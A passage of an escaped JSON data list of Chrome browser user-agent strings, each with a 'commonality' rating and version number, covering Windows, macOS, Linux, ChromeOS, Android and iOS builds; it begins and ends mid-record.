AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64)AppleWebKit\\/537.36 (KHTML, like Gecko)Chrome\\/43.0.2357.134 Safari\\/537.36http:\\/\\/notifyninja.com\\/monitoring\"},{\"commonality\":\"Average\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1667.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8172.60.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8172.62.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7390.68.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7262.57.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.28 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9765.81.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.120 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; Xperia Tipo Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9901.66.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7647.84.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4; en-us; LGL34C\\/V100 Build\\/KRT16S.L34CV10c) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.2 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SGH-M919 Build\\/JDQ39) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/1.0 Chrome\\/18.0.1025.308 Mobile Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.57 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build\\/KOT49I.MS32310b) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) CriOS\\/56.0.2924.79 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-J700F Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G900P Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2227.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9592.85.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.125 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8530.81.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.137 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Z981 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9334.72.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-N900T Build\\/JSS15J) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.1; Nexus 7 Build\\/JRO03D) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.166  Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2683.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/63.0.3239.73 Mobile\\/15C153 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.152 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; LG-V410\\/V41020c Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/34.0.1847.118 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.16 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko; Google Web Preview) Chrome\\/27.0.1453 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8743.85.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0 WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (en-US) AppleWebKit\\/537.36 (KHTML, like Gecko; Hound) Chrome\\/27.0.1453 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/535.8 (KHTML, like Gecko) Beamrise\\/17.2.0.9 Chrome\\/17.0.939.0 Safari\\/535.8\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; rk31sdk Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.95 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/535.19 (KHTML, like Gecko) Chrome\\/18.0.1025.162 Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"'Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 5 Build\\/LMY48B; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/43.0.2357.65 Mobile Safari\\/537.36'\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) CriOS\\/61.0.3163.73 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 